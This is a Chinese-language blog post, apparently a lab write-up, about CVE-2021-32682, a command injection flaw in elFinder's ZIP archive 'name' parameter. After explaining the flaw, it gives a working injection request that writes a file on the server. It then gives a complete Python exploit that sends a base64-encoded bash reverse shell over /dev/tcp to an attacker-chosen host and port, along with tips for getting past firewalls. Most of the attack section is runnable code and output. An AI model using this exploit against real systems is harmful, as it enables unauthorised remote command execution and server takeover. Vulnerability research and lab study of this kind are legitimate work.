首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2021-32682,elFinder ZIP 参数与任意命令注入

CVE-2021-32682,elFinder ZIP 参数与任意命令注入

原创
作者头像
你叫夹克
发布2025-10-12 11:45:05
发布2025-10-12 11:45:05
50
举报

一、CVE-2021-32682,elFinder ZIP 参数与任意命令注入

(一)漏洞条件

CVE-2021-32682 是 elFinder 文件管理器在处理 ZIP 压缩功能时存在的任意命令注入漏洞,其触发需满足以下 3 个核心条件:

  1. 受影响版本:目标系统使用的 elFinder 版本为 2.1.58 及之前版本(该漏洞在 2.1.59 版本中被修复),且启用了 ZIP 压缩功能(默认启用,用于支持文件打包操作)。
  2. 功能可访问:攻击者能够访问 elFinder 的 connector.minimal.php 接口(该接口是 elFinder 后端核心交互入口,负责处理文件操作请求,如创建、压缩、删除文件等),无需额外身份认证或仅需低权限即可调用。
  3. 参数可控:攻击者可控制 archive 命令对应的 name 参数值 —— 该参数在未修复版本中未做严格过滤,允许注入特殊字符与系统命令,为漏洞触发提供入口。

(二)漏洞原理

  1. 功能调用逻辑:当用户在 elFinder 中执行文件压缩操作时,前端会向后端 connector.minimal.php 接口发送 cmd=archive 请求,同时传递 name(压缩包名称)、target(待压缩文件标识)、type=application/zip(压缩格式)等参数。
  2. 参数拼接漏洞:后端接收到请求后,会将 name 参数值直接拼接进系统 zip 命令中,用于生成指定名称的压缩包。例如正常场景下,参数 name=test.zip 会拼接为 zip -r test.zip [待压缩文件路径] ;但由于未对 name 参数进行过滤,攻击者可注入命令分隔符(如 ;|$() 等)与恶意命令。
  3. 恶意命令注入:攻击者通过构造特殊 name 参数(如 -TvTT=id>shell.php # a.zip),可篡改原始 zip 命令逻辑。其中:
    • -TvTTzip 命令的调试参数,用于输出详细压缩日志;
    • =id>shell.php 会将 id 命令的执行结果写入 shell.php 文件;
    • #是 Shell 注释符,可忽略后续无关内容(如 a.zip),确保恶意命令单独执行。
  4. 命令执行与危害:拼接后的恶意命令被 elFinder 以 www-data 等服务权限执行,攻击者可通过该漏洞实现任意命令执行(如写入 Webshell、反弹 Shell),最终获取目标服务器的低权限控制权,若存在权限提升漏洞,还可进一步获取 root 权限。

二、漏洞复现

!quote 参考文档 NextCyber Academy - 任务详情

(一)环境搭建

代码语言:txt
复制
# 攻击机地址
10.132.1.111

# 靶机地址
10.22.194.49

访问靶机页面:

(二)漏洞测试

准备1.txt2.zip两个文件

1.txt是创建的一个空文本文件,将该文件压缩为2.zip

执行漏洞

发送如下数据包

代码语言:http
复制
GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: 10.22.194.49
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f1e6da9afce4dfceddb4ebed7f22f142
Connection: keep-alive

成功执行,虽然提示errArchive

访问RCE页面

代码语言:shell
复制
http://10.22.194.49/files/shell.php

# 回显内容,显示RCE执行成功
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

(三)漏洞利用

EXP准备

准备EXPreverse_shell.py

代码语言:shell
复制
import requests
import sys
import base64


def show_usage():
    print('Usage: python3 reverse_shell.py <lhost> <lport> <URL>')
    print('Example: python3 reverse_shell.py 192.168.2.6 80 http://192.168.2.73:8080/elfinder')
    sys.exit(1)


if len(sys.argv) < 4:
    show_usage()

lhost = sys.argv[1]
lport = sys.argv[2]
URL = sys.argv[3]

# Build reverse shell command
rev = f'bash -c "/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'.encode('utf-8')

# Base64 encode to prevent bad characters
payload = f'echo%20{(base64.b64encode(rev)).decode("utf-8")}%20%7C%20base64%20-d%20%7C%20bash'

ENDPOINT = f'/php/connector.minimal.php?cmd=archive&name=-TvTT={payload}%20%23%202.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip'

print("Sending reverse shell payload...")
print("Check netcat listener")

try:
    resp = requests.get(URL + ENDPOINT)
    # Debug
    print(resp.status_code)
    print(resp.text)
except requests.RequestException as e:
    print(f"An error occurred during the request: {e}")
finally:
    print("Finished.")

启动监听,利用EXP获取反弹shell

代码语言:shell
复制
# 攻击机地址
# 10.132.1.111

# 靶机地址
# 10.22.194.49

python3 reverse_shell.py 10.132.1.111 80 http://10.22.194.49:80

执行命令,结果返回:

代码语言:shell
复制
> python3 reverse_shell.py 10.132.1.111 80 http://10.22.194.49:80
Sending reverse shell payload...
Check netcat listener
200
{"error":["errArchive"]}
Finished.

!warning 防火墙!!! 回弹的时候一定要注意防火墙问题! 我最开始尝试的是python3 reverse_shell.py 10.132.1.111 5555 http://10.22.194.49:80,一直未能回弹成功。 测试后推测是防火墙问题,通常情况下如果80未被占用,可以选用80端口回弹,因为80端口被靶机屏蔽的概率会比较低。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、CVE-2021-32682,elFinder ZIP 参数与任意命令注入
    • (一)漏洞条件
    • (二)漏洞原理
  • 二、漏洞复现
    • (一)环境搭建
    • (二)漏洞测试
      • 准备1.txt和2.zip两个文件
      • 执行漏洞
      • 访问RCE页面
    • (三)漏洞利用
      • EXP准备
      • 启动监听,利用EXP获取反弹shell
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档